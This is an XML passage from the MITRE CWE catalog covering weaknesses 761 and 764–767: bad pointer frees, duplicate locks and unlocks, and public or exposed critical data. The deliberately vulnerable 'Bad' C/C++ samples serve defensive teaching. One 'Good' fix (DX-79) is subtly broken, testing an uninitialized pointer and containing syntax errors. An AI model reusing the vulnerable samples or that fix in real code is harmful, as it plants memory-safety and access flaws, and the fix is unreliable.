                                       <xhtml:i>/* matched char, free string and return success */</xhtml:i>
                                       <xhtml:br/>free(str);<xhtml:br/>return SUCCESS;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                                 <xhtml:i>/* didn't match yet, increment pointer and try next char */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>str = str + 1;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* we did not match the char in the string, free mem and return failure */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>free(str);<xhtml:br/>return FAILURE;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.</Body_Text>
               <Body_Text>Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>#define SUCCESS (1)<xhtml:br/>#define FAILURE (0)<xhtml:br/>
                     <xhtml:br/>int cointains_char(char c){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *str;<xhtml:br/>int i = 0;<xhtml:br/>str = (char*)malloc(20*sizeof(char));<xhtml:br/>strcpy(str, "Search Me!");<xhtml:br/>while( i &lt; strlen(str) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( str[i] == c ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* matched char, free string and return success */</xhtml:i>
                                       <xhtml:br/>free(str);<xhtml:br/>return SUCCESS;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                                 <xhtml:i>/* didn't match yet, increment pointer and try next char */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>i = i + 1;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* we did not match the char in the string, free mem and return failure */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>free(str);<xhtml:br/>return FAILURE;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-79">
               <Intro_Text>Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//hardcode input length for simplicity</xhtml:i>
                     <xhtml:br/>char* input = (char*) malloc(40*sizeof(char));<xhtml:br/>char *tok;<xhtml:br/>char* sep = " \t";<xhtml:br/>
                     <xhtml:br/>get_user_input( input );<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* The following loop will parse and process each token in the input string */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>tok = strtok( input, sep);<xhtml:br/>while( NULL != tok ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if( isMalformed( tok ) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* ignore and discard bad data */</xhtml:i>
                                 <xhtml:br/>free( tok );</xhtml:div>
                           </xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">add_to_command_queue( tok );</xhtml:div>}<xhtml:br/>tok = strtok( NULL, sep));</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.</Body_Text>
               <Body_Text>One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//hardcode input length for simplicity</xhtml:i>
                     <xhtml:br/>char* input = (char*) malloc(40*sizeof(char));<xhtml:br/>char *tok, *command;<xhtml:br/>char* sep = " \t";<xhtml:br/>
                     <xhtml:br/>get_user_input( input );<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* The following loop will parse and process each token in the input string */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>tok = strtok( input, sep);<xhtml:br/>while( NULL != tok ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if( !isMalformed( command ) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* copy and enqueue good data */</xhtml:i>
                                 <xhtml:br/>command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );<xhtml:br/>strcpy( command, tok );<xhtml:br/>add_to_command_queue( command );</xhtml:div>
                           </xhtml:div>}<xhtml:br/>tok = strtok( NULL, sep));</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>free( input )</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP12</Entry_ID>
               <Entry_Name>Faulty Memory Release</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-657"/>
            <Reference External_Reference_ID="REF-480"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="764" Name="Multiple Locks of a Critical Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product locks a critical resource more times than intended, leading to an unexpected state in the system.</Description>
         <Extended_Description>When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="675" View_ID="1000"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP21</Entry_ID>
               <Entry_Name>Multiple locks/unlocks</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="765" Name="Multiple Unlocks of a Critical Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.</Description>
         <Extended_Description>When the product is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="675" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the product acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-0935</Reference>
               <Description>Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0935</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP21</Entry_ID>
               <Entry_Name>Multiple locks/unlocks</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="766" Name="Critical Data Element Declared Public" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.</Description>
	 <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>public: char* password;</xhtml:div>
               </Example_Code>
               <Body_Text>Instead, the critical data should be declared private.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>private: char* password;</xhtml:div>
               </Example_Code>
               <Body_Text>Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>#define MAX_PASSWORD_LENGTH 15<xhtml:br/>#define MAX_USERNAME_LENGTH 15<xhtml:br/>
                     <xhtml:br/>class UserAccount<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public:<xhtml:div style="margin-left:1em;">
                              <xhtml:div>UserAccount(char *username, char *password)<xhtml:br/>{<xhtml:div style="margin-left:1em;">if ((strlen(username) &gt; MAX_USERNAME_LENGTH) ||<xhtml:br/>(strlen(password) &gt; MAX_PASSWORD_LENGTH)) {<xhtml:div style="margin-left:1em;">ExitError("Invalid username or password");</xhtml:div>}<xhtml:br/>strcpy(this-&gt;username, username);<xhtml:br/>strcpy(this-&gt;password, password);</xhtml:div>}</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>int authorizeAccess(char *username, char *password)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if ((strlen(username) &gt; MAX_USERNAME_LENGTH) ||<xhtml:br/>(strlen(password) &gt; MAX_PASSWORD_LENGTH)) {<xhtml:div style="margin-left:1em;">ExitError("Invalid username or password");</xhtml:div>}<xhtml:br/>
                                 <xhtml:i>// if the username and password in the input parameters are equal to</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// the username and password of this account class then authorize access</xhtml:i>
                                 <xhtml:br/>if (strcmp(this-&gt;username, username) ||<xhtml:br/>strcmp(this-&gt;password, password))<xhtml:div style="margin-left:1em;">return 0;</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// otherwise do not authorize access</xhtml:i>
                                 <xhtml:br/>else<xhtml:div style="margin-left:1em;">return 1;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>char username[MAX_USERNAME_LENGTH+1];<xhtml:br/>char password[MAX_PASSWORD_LENGTH+1];</xhtml:div>
                     </xhtml:div>};</xhtml:div>
               </Example_Code>
               <Body_Text>However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>class UserAccount<xhtml:br/>{<xhtml:br/>public:<xhtml:div style="margin-left:1em;">...</xhtml:div>
                     <xhtml:br/>
                     <xhtml:br/>private:<xhtml:div style="margin-left:1em;">char username[MAX_USERNAME_LENGTH+1];<xhtml:br/>char password[MAX_PASSWORD_LENGTH+1];</xhtml:div>};</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-3860</Reference>
               <Description>variables declared public allows remote read of system properties such as user name and home directory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3860</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to protect stored data from modification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ01-J</Entry_ID>
               <Entry_Name>Declare data members as private and provide accessible wrapper methods</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-15</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-15"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Name, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">Critical Variable Declared Public</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="767" Name="Access to Critical Private Variable via Public Method" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product defines a public method that reads or modifies a private variable.</Description>
         <Extended_Description>If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>private: float price;<xhtml:br/>public: void changePrice(float newPrice) {<xhtml:div style="margin-left:1em;">price = newPrice;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
